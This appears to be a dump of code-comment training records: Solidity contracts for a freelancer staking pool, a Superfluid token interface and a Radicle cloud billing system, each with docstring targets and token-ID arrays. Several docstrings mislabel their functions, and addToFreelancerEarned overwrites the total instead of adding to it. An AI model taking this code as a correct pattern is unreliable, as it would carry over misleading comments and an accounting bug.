9606,
1338,
12893,
639,
288,
203,
5411,
309,
261,
3576,
18,
15330,
480,
11784,
13,
288,
203,
7734,
4015,
2932,
1248,
11784,
8863,
203,
7734,
604,
31,
203,
5411,
289,
203,
5411,
4015,
2932,
10636,
8863,
203,
5411,
389,
31,
203,
3639,
289,
203,
540,
203,
540,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.8.0 <0.9.0;
import "../openzeppelin/Safemath.sol";
import "./FriendRegistry.sol";
import "../utility/StakePool.sol";
import "hardhat/console.sol";
contract Freelancer {
using SafeMath for uint256;
using SafeMath for uint32;
// Use MAX_UINT to signify null uint value
uint256 constant MAX_UINT = 2**256 - 1;
//Default stake allocation = 5% of earned amount
uint256 constant DEFAULT_STAKE_ALLOCATION = 5;
// Null bytes32 values
bytes32 constant NULL = "";
/**
* @dev freelancer properties
**/
struct FreelancerMetadata {
uint16 jobsWorked;
bool isAvailable;
bool isInitialized;
}
/**
* @dev freelancer financials
**/
struct FreelancerFinancials {
uint256 totalEarned;
uint256 forgoneEarnings;
uint256 stakeAllocation;
uint256 totalUnpaid;
}
address[] freelancers;
mapping(address => FreelancerMetadata) public freelancerToMetadata;
mapping(address => FreelancerFinancials) public freelancerToFinancials;
mapping(address => StakePool) public freelancerToStakePool;
event FreelancerInit(FreelancerMetadata freelancerMetadata);
event Slashed(address freelancer, address to, uint256 amount);
FriendRegistry friendRegistry;
address tokenAddress;
constructor(address _friendRegistry, address _tokenAddress) {
friendRegistry = FriendRegistry(_friendRegistry);
tokenAddress = _tokenAddress;
}
modifier ifAvailable(address freelancer) {
require(
freelancerToMetadata[freelancer].isAvailable == true,
"freelancer is not available"
);
_;
}
modifier onlyFriend(address contractAddress) {
require(
friendRegistry.isFriend(contractAddress) == true,
"Contract is not a friend contract"
);
_;
}
modifier onlyIfFreelancerExists(address freelancerAddress) {
require(
freelancerToMetadata[freelancerAddress].isInitialized == true,
"Freelancer doesnt exist"
);
_;
}
/**
* @dev Sets a freelancer's stake allocation called by freelancer.
**/
function setMyAllocation(uint256 allocation) external {
freelancerToFinancials[msg.sender].stakeAllocation = allocation;
}
/**
* @dev Sets a freelancer's stake allocation called by a friend contract.
**/
function setFreelancerAllocation(address freelancer, uint256 allocation)
external
onlyIfFreelancerExists(freelancer)
onlyFriend(msg.sender)
{
freelancerToFinancials[freelancer].stakeAllocation = allocation;
}
/**
* @dev Sets a freelancer's total number of jobs worked.
* - Must be called by logic contracts upon completion of a job and can only be set if logic contract has access to set it
* @param freelancer The address of the freelancer whose rating needs to be updated
**/
function incrementJobsWorked(address freelancer)
external
onlyFriend(msg.sender)
{
freelancerToMetadata[freelancer].jobsWorked++;
}
/**
* @dev Sets a freelancer's availability.
* - Must be called by logic contracts upon completion or beginning of a job and can only be set if logic contract has access to set it
* @param freelancer The address of the freelancer whose rating needs to be updated
* @param isAvailable Availability set to true or false
**/
function setAvailability(address freelancer, bool isAvailable)
external
onlyFriend(msg.sender)
{
freelancerToMetadata[freelancer].isAvailable = isAvailable;
}
/**
* @dev Adds to a freelancer's stake pool called by freelancer.
**/
function addToMyStake(uint256 amount)
external
onlyIfFreelancerExists(msg.sender)
{
freelancerToStakePool[msg.sender].stake(amount);
}
/**
* @dev Adds to a freelancer's stake pool called by freelancer.
**/
function addToFreelancerStake(address freelancer, uint256 amount)
external
onlyIfFreelancerExists(freelancer)
onlyFriend(msg.sender)
{
freelancerToStakePool[freelancer].stake(amount);
}
/**
* @dev Reduce a freelancer's stake pool called by freelancer.
**/
function reduceMyStake(uint256 amount)
external
onlyIfFreelancerExists(msg.sender)
{
freelancerToStakePool[msg.sender].unstake(amount);
}
/**
* @dev Adds to a freelancer's stake pool called by freelancer.
**/
function lockFreelancerStake(address freelancer, uint256 amount)
external
onlyIfFreelancerExists(freelancer)
onlyFriend(msg.sender)
{
freelancerToStakePool[freelancer].lock(amount);
}
/**
* @dev Adds to a freelancer's stake pool called by freelancer.
**/
function unlockFreelancerStake(address freelancer, uint256 amount)
external
onlyIfFreelancerExists(freelancer)
onlyFriend(msg.sender)
{
freelancerToStakePool[freelancer].unlock(amount);
}
/**
* @dev Sets a freelancer's stake allocation called by freelancer.
**/
function addToFreelancerEarned(address freelancer, uint256 amount)
external
onlyIfFreelancerExists(freelancer)
onlyFriend(msg.sender)
{
freelancerToFinancials[freelancer].totalEarned = amount;
}
/**
* @dev Sets a freelancer's stake allocation called by freelancer.
**/
function addToFreelancerForgoneEarnings(address freelancer, uint256 amount)
external
onlyIfFreelancerExists(freelancer)
onlyFriend(msg.sender)
{
freelancerToFinancials[freelancer].forgoneEarnings = amount;
}
/**
* @dev Initialize a freelancer's metadata.
* - Called by createfreelancerIfFirstTime when a freelancer picks up his first job or stakes his tokens for the first time
* @param freelancer The address of the new freelancer
**/
function initializeFreelancerMetadataIfFirstTime(address freelancer)
external
onlyFriend(msg.sender)
{
if (freelancerToMetadata[freelancer].isInitialized == false) {
freelancerToMetadata[freelancer] = FreelancerMetadata(
0,
true,
true
);
freelancerToFinancials[freelancer]
.stakeAllocation = DEFAULT_STAKE_ALLOCATION;
freelancerToStakePool[freelancer] = new StakePool(
freelancer,
tokenAddress
);
freelancers.push(freelancer);
emit FreelancerInit(freelancerToMetadata[freelancer]);
}
}
/**
* @dev Slash a freelancer's locked stake
**/
function slashLockedStake(
address freelancer,
address to,
uint256 amount
) external onlyFriend(msg.sender) {
freelancerToStakePool[freelancer].unlock(amount);
freelancerToStakePool[freelancer].unstake(amount);
freelancerToStakePool[freelancer].slash(amount, to);
emit Slashed(freelancer, to, amount);
}
/**
* @dev Gets a freelancer's total earnings called by freelancer.
**/
function getFreelancerEarned(address freelancer)
external
view
returns (uint256)
{
return freelancerToFinancials[freelancer].totalEarned;
}
/**
* @dev Gets a freelancer's total earnings called by freelancer.
**/
function getFreelancerForgoneEarnings(address freelancer)
external
view
returns (uint256)
{
return freelancerToFinancials[freelancer].forgoneEarnings;
}
/**
* @dev Gets a freelancer by address.
**/
function getFreelancerMetadata(address freelancer)
external
view
returns (FreelancerMetadata memory)
{
return freelancerToMetadata[freelancer];
}
/**
* @dev Gets a freelancer by address.
**/
function getFreelancerAllocation(address freelancer)
external
view
returns (uint256)
{
return freelancerToFinancials[freelancer].stakeAllocation;
}
/**
* @dev Gets a freelancer by address.
**/
function getFreelancerStake(address freelancer)
external
view
returns (uint256)
{
return freelancerToStakePool[freelancer].getOwnerStake();
}
/**
* @dev Gets a freelancer by address.
**/
function getFreelancerLockedStake(address freelancer)
external
view
returns (uint256)
{
return freelancerToStakePool[freelancer].getLockedStake();
}
function selfInitializeFreelancerMetadata() external {
if (freelancerToMetadata[msg.sender].isInitialized == false) {
freelancerToMetadata[msg.sender] = FreelancerMetadata(
0,
true,
true
);
freelancerToFinancials[msg.sender]
.stakeAllocation = DEFAULT_STAKE_ALLOCATION;
freelancerToStakePool[msg.sender] = new StakePool(
msg.sender,
tokenAddress
);
freelancers.push(msg.sender);
emit FreelancerInit(freelancerToMetadata[msg.sender]);
}
}
}
| * @dev freelancer financials/ | struct FreelancerFinancials {
uint256 totalEarned;
uint256 forgoneEarnings;
uint256 stakeAllocation;
uint256 totalUnpaid;
}
address[] freelancers;
mapping(address => FreelancerMetadata) public freelancerToMetadata;
mapping(address => FreelancerFinancials) public freelancerToFinancials;
mapping(address => StakePool) public freelancerToStakePool;
event FreelancerInit(FreelancerMetadata freelancerMetadata);
event Slashed(address freelancer, address to, uint256 amount);
FriendRegistry friendRegistry;
address tokenAddress;
| 7,320,103 | [
1,
74,
266,
292,
304,
2750,
574,
19292,
649,
87,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
478,
266,
292,
304,
2750,
6187,
19292,
649,
87,
288,
203,
3639,
2254,
5034,
2078,
41,
1303,
329,
31,
203,
3639,
2254,
5034,
364,
75,
476,
41,
1303,
899,
31,
203,
3639,
2254,
5034,
384,
911,
17353,
31,
203,
3639,
2254,
5034,
2078,
984,
29434,
31,
203,
565,
289,
203,
203,
565,
1758,
8526,
22010,
292,
304,
13062,
31,
203,
203,
565,
2874,
12,
2867,
516,
478,
266,
292,
304,
2750,
2277,
13,
1071,
22010,
292,
304,
2750,
774,
2277,
31,
203,
565,
2874,
12,
2867,
516,
478,
266,
292,
304,
2750,
6187,
19292,
649,
87,
13,
1071,
22010,
292,
304,
2750,
774,
6187,
19292,
649,
87,
31,
203,
565,
2874,
12,
2867,
516,
934,
911,
2864,
13,
1071,
22010,
292,
304,
2750,
774,
510,
911,
2864,
31,
203,
203,
565,
871,
478,
266,
292,
304,
2750,
2570,
12,
42,
266,
292,
304,
2750,
2277,
22010,
292,
304,
2750,
2277,
1769,
203,
565,
871,
9708,
13912,
12,
2867,
22010,
292,
304,
2750,
16,
1758,
358,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
478,
7522,
4243,
24271,
4243,
31,
203,
565,
1758,
1147,
1887,
31,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x3Eb6551a88038d8975d87E227963bC24d9A8181B/sources/_superfluid-finance/ethereum-contracts/contracts/interfaces/superfluid/ISuperToken.sol | * @title Super token (Superfluid Token + ERC20 + ERC777) interface @author Superfluid/modifier onlySelf() virtual | interface ISuperToken is ISuperfluidToken, TokenInfo, IERC20, IERC777 {
function initialize(
IERC20 underlyingToken,
uint8 underlyingDecimals,
string calldata n,
string calldata s
) external;
function name() external view override(IERC777, TokenInfo) returns (string memory);
function symbol() external view override(IERC777, TokenInfo) returns (string memory);
function decimals() external view override(TokenInfo) returns (uint8);
function totalSupply() external view override(IERC777, IERC20) returns (uint256);
function balanceOf(address account) external view override(IERC777, IERC20) returns(uint256 balance);
function transfer(address recipient, uint256 amount) external override(IERC20) returns (bool);
function allowance(address owner, address spender) external override(IERC20) view returns (uint256);
function approve(address spender, uint256 amount) external override(IERC20) returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external override(IERC20) returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function granularity() external view override(IERC777) returns (uint256);
function send(address recipient, uint256 amount, bytes calldata data) external override(IERC777);
function burn(uint256 amount, bytes calldata data) external override(IERC777);
function isOperatorFor(address operator, address tokenHolder) external override(IERC777) view returns (bool);
function authorizeOperator(address operator) external override(IERC777);
function revokeOperator(address operator) external override(IERC777);
function defaultOperators() external override(IERC777) view returns (address[] memory);
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external override(IERC777);
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external override(IERC777);
function selfMint(
address account,
uint256 amount,
bytes memory userData
) external;
function selfBurn(
address account,
uint256 amount,
bytes memory userData
) external;
function selfTransferFrom(
address sender,
address spender,
address recipient,
uint256 amount
) external;
function selfApproveFor(
address account,
address spender,
uint256 amount
) external;
function transferAll(address recipient) external;
function getUnderlyingToken() external view returns(address tokenAddr);
function upgrade(uint256 amount) external;
function upgradeTo(address to, uint256 amount, bytes calldata data) external;
event TokenUpgraded(
address indexed account,
uint256 amount
);
function downgrade(uint256 amount) external;
function downgradeTo(address to, uint256 amount) external;
event TokenDowngraded(
address indexed account,
uint256 amount
);
function operationApprove(
address account,
address spender,
uint256 amount
) external;
function operationTransferFrom(
address account,
address spender,
address recipient,
uint256 amount
) external;
function operationSend(
address spender,
address recipient,
uint256 amount,
bytes memory data
) external;
function operationUpgrade(address account, uint256 amount) external;
function operationDowngrade(address account, uint256 amount) external;
pragma solidity >= 0.8.4;
import { ISuperfluid } from "./ISuperfluid.sol";
import { ISuperfluidToken } from "./ISuperfluidToken.sol";
import { TokenInfo } from "../tokens/TokenInfo.sol";
import { IERC777 } from "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
}
| 11,609,731 | [
1,
8051,
1147,
261,
8051,
2242,
1911,
3155,
397,
4232,
39,
3462,
397,
4232,
39,
14509,
13,
1560,
225,
14845,
2242,
1911,
19,
20597,
1338,
10084,
1435,
5024,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
467,
8051,
1345,
353,
467,
8051,
2242,
1911,
1345,
16,
3155,
966,
16,
467,
654,
39,
3462,
16,
467,
654,
39,
14509,
288,
203,
203,
203,
565,
445,
4046,
12,
203,
3639,
467,
654,
39,
3462,
6808,
1345,
16,
203,
3639,
2254,
28,
6808,
31809,
16,
203,
3639,
533,
745,
892,
290,
16,
203,
3639,
533,
745,
892,
272,
203,
565,
262,
3903,
31,
203,
203,
203,
565,
445,
508,
1435,
3903,
1476,
3849,
12,
45,
654,
39,
14509,
16,
3155,
966,
13,
1135,
261,
1080,
3778,
1769,
203,
203,
565,
445,
3273,
1435,
3903,
1476,
3849,
12,
45,
654,
39,
14509,
16,
3155,
966,
13,
1135,
261,
1080,
3778,
1769,
203,
203,
565,
445,
15105,
1435,
3903,
1476,
3849,
12,
1345,
966,
13,
1135,
261,
11890,
28,
1769,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
3903,
1476,
3849,
12,
45,
654,
39,
14509,
16,
467,
654,
39,
3462,
13,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
3903,
1476,
3849,
12,
45,
654,
39,
14509,
16,
467,
654,
39,
3462,
13,
1135,
12,
11890,
5034,
11013,
1769,
203,
203,
203,
565,
445,
7412,
12,
2867,
8027,
16,
2254,
5034,
3844,
13,
3903,
3849,
12,
45,
654,
39,
3462,
13,
1135,
261,
6430,
1769,
203,
203,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
3849,
12,
45,
654,
39,
3462,
13,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
2
] |
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.6;
import "./lib/ImpactPoints.sol";
/// @title RadicleCloudBase does on-chain accounting and emits events for operator.
/// @dev RadicleCloudBase is an abstract contract.
abstract contract RadicleCloudBase {
/// @notice Owner is needed for changing rate and withdrawing funds.
address public owner;
/// @dev Keep info for tracking each deployment
struct Deployment {
uint64 start;
uint64 expiry;
address owner;
}
/// @notice Info regading each deployment
mapping(address => Deployment) public dep;
/// @dev Keep track of each package that was used to top up
struct Package {
uint64 start;
uint64 expiry;
uint64 rate;
}
/// @notice Array of packages that topped up the deployment of org
mapping(address => Package[]) public pkgs;
/// @notice Rate (price) new top ups are charged
uint64 public ratePerBlock;
/// @notice Rate (price) currently being earned
int64 private runningRate = 0;
/// @notice Duration of a package in terms of blocks
uint32 public immutable duration;
/// @notice Blocks to wait before being eligible for withdraw
uint32 public immutable withdrawWait;
/// @notice MAXBLOCK is the maximum value of uint64
uint64 private constant MAXBLOCK = type(uint64).max;
/// @dev Add functionalities for index and block retrieval
using ImpactPoints for uint64[];
/// @notice Special array of blocks when buys happened
uint64[] private buys = [1, MAXBLOCK];
/// @notice Special array of blocks when expires happen
uint64[] private expires = [1, MAXBLOCK];
/// @notice Special array of blocks when cancels happened
uint64[] private cancels = [1, MAXBLOCK];
/// @notice Special array of blocks when renews happened
uint64[] private renews = [1, MAXBLOCK];
/// @notice Whether a renewal happened at this block
mapping(uint64 => bool) private hasRenewal;
/// @notice Sum of unaccounted impacts at block t
mapping(uint64 => int64) private impacts;
/// @dev Last block we've withdrawn funds utill.
uint64 private lastProcessed;
/// @notice Emitted when money is deposited, could be renewal or initial order.
/// @param org the org owning the deployment
/// @param expiry next expiry for this deployment
event NewTopUp(address org, uint64 expiry);
/// @notice Emitted when deployment for org is cancelled or suspended.
/// @param org the org owning the deployment
/// @param expiry when this deployment was stopped
event DeploymentStopped(address org, uint64 expiry);
/// @notice Modifier to check if caller is owner.
modifier isOwner() {
require(msg.sender == owner, "Caller is not owner");
_;
}
/// @notice Create a new contract.
/// @param price amount that should be charged per block
/// @param _duration immutable number of blocks each top up lasts
/// @param _owner owner of this contract
constructor(
uint64 price,
uint32 _duration,
address _owner
) {
duration = _duration;
withdrawWait = (_duration * 3) / 100;
owner = _owner;
ratePerBlock = price;
lastProcessed = uint64(block.number);
}
/// @notice Change owner of contract.
/// @param newOwner address of new owner
function changeOwner(address newOwner) public isOwner {
owner = newOwner;
}
/// @notice Change ratePerBlock for orders after this block.
/// @param newRate the new rate per block
function changeRate(uint64 newRate) public isOwner {
ratePerBlock = newRate;
}
/// @notice Return current package price.
function getPrice() public view returns (uint256) {
return ratePerBlock * duration;
}
/// @notice Return deployment expiry for org.
/// @param org the org owning the deployment
/// @return expiry block number
function getExpiry(address org) external view returns (uint64) {
return dep[org].expiry;
}
/// @notice Top up existing deployment or create a new one.
/// @param org the address of org whose deployment we're topping up
/// @param _owner the address to set deployment owner to on creation
/// @param amount the amount being topped up, must be exact multiples of `ratePerBlock * duration`
function topUp(
address org,
address _owner,
uint128 amount
) internal {
require(amount >= ratePerBlock * duration, "Amount is not enough for a single package");
require(
amount % (ratePerBlock * duration) == 0,
"Amount is not exact multiple of getPrice()"
);
uint128 packages = amount / (ratePerBlock * duration);
if (dep[org].expiry > block.number) {
// active user
for (uint64 i = 0; i < packages; ++i) {
hasRenewal[dep[org].expiry + (i * duration)] = true;
}
uint64 newExpiry = uint64(dep[org].expiry + packages * duration);
// NOTE: this can be optimized, probably
pkgs[org].push(
Package({start: dep[org].expiry, expiry: newExpiry, rate: ratePerBlock})
);
impacts[dep[org].expiry] += int64(ratePerBlock);
dep[org].expiry = newExpiry;
impacts[dep[org].expiry] -= int64(ratePerBlock);
} else {
// new user
for (uint64 i = 0; i < packages; ++i) {
hasRenewal[uint64(block.number) + (i * duration)] = true;
}
dep[org].expiry = uint64(block.number + packages * duration);
dep[org].start = uint64(block.number);
dep[org].owner = _owner;
buys.add(uint64(block.number));
expires.add((uint64(block.number + duration)));
impacts[uint64(block.number)] += int64(ratePerBlock);
impacts[uint64(block.number + duration)] -= int64(ratePerBlock);
pkgs[org].push(
Package({start: dep[org].start, expiry: dep[org].expiry, rate: ratePerBlock})
);
}
emit NewTopUp(org, dep[org].expiry);
}
/// @dev Biggest between `a` and `b`.
function max(uint64 a, uint64 b) internal pure returns (uint64) {
return a > b ? a : b;
}
/// @dev Smaller between `a` and `b`.
function min(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
/// @dev Return next impact point for rate.
/// @return smallest block between next buy, expiry, cancel, and renew
function _nextImpact() internal view returns (uint64) {
return min(min(buys.last(), expires.last()), min(cancels.last(), renews.last()));
}
/// @dev Calculate the amount operator has earned till current block.
/// @return revenue earned from last processed blocked till now
function _calcRealizedRevenue() internal returns (uint128) {
uint128 revenue = 0;
int64 rate = runningRate;
uint64 last = lastProcessed;
uint64 current = uint64(block.number);
while (last <= current) {
uint64 nextLast = _nextImpact();
if (nextLast == MAXBLOCK) break;
if (nextLast == last) {
rate += impacts[last];
if (last == buys.last()) buys.next();
if (last == cancels.last()) cancels.next();
if (last == renews.last()) renews.next();
if (last == expires.last()) {
// create renews on fly
if (hasRenewal[last]) {
renews.add(last + duration);
delete hasRenewal[last];
}
expires.next();
}
delete impacts[last];
nextLast = _nextImpact();
}
revenue += uint64(rate) * (min(current, nextLast) - last);
last = nextLast;
}
runningRate = rate;
lastProcessed = current;
return revenue;
}
/// @notice Update realized revenue and accounting for owner.
/// @return amount earned by owner till current block
function withdrawRealizedRevenue() public isOwner returns (uint128 amount) {
amount = _calcRealizedRevenue();
_withdraw(owner, amount);
}
/// @dev Stop deployment and payout outstanding balance.
/// @param org the org owning deployment
function _stopDeploymentAndPayout(address org) internal {
Package[] storage currentPkgs = pkgs[org];
uint128 due = 0;
for (uint64 i = 0; i < currentPkgs.length; ++i) {
Package storage pkg = currentPkgs[i];
if (block.number < pkg.expiry) {
due += pkg.rate * (pkg.expiry - max(uint64(block.number), pkg.start));
// cancel impacts of pkg
impacts[uint64(block.number)] -= int64(pkg.rate);
impacts[pkg.expiry] += int64(pkg.rate);
delete currentPkgs[i];
}
}
cancels.add(uint64(block.number));
_withdraw(dep[org].owner, due);
emit DeploymentStopped(org, uint64(block.number));
}
/// @notice Cancel deployment for org and withdraw remaining fund.
/// @param org the org owning deployment, deployment must be owned by caller
function cancelDeployment(address org) public {
require(dep[org].owner == msg.sender, "Caller does not own org");
require(
dep[org].start + withdrawWait <= block.number,
"Withdraw wait period hasn't finished"
);
_stopDeploymentAndPayout(org);
}
/// @notice Suspend deployment and transfer remaining fund.
/// @param org the org owning deployment
function suspendDeployment(address org) public isOwner {
_stopDeploymentAndPayout(org);
}
/// @notice Withdraw amount money to destination address.
/// @dev called when funds need to be withdraw by org's or contract's owner
/// @param destination destination address to send funds to
/// @param amount transferred amount
function _withdraw(address destination, uint128 amount) internal virtual;
}
| @notice Special array of blocks when cancels happened | uint64[] private cancels = [1, MAXBLOCK];
| 12,825,371 | [
1,
12193,
526,
434,
4398,
1347,
3755,
87,
17497,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
1105,
8526,
3238,
3755,
87,
273,
306,
21,
16,
4552,
11403,
15533,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
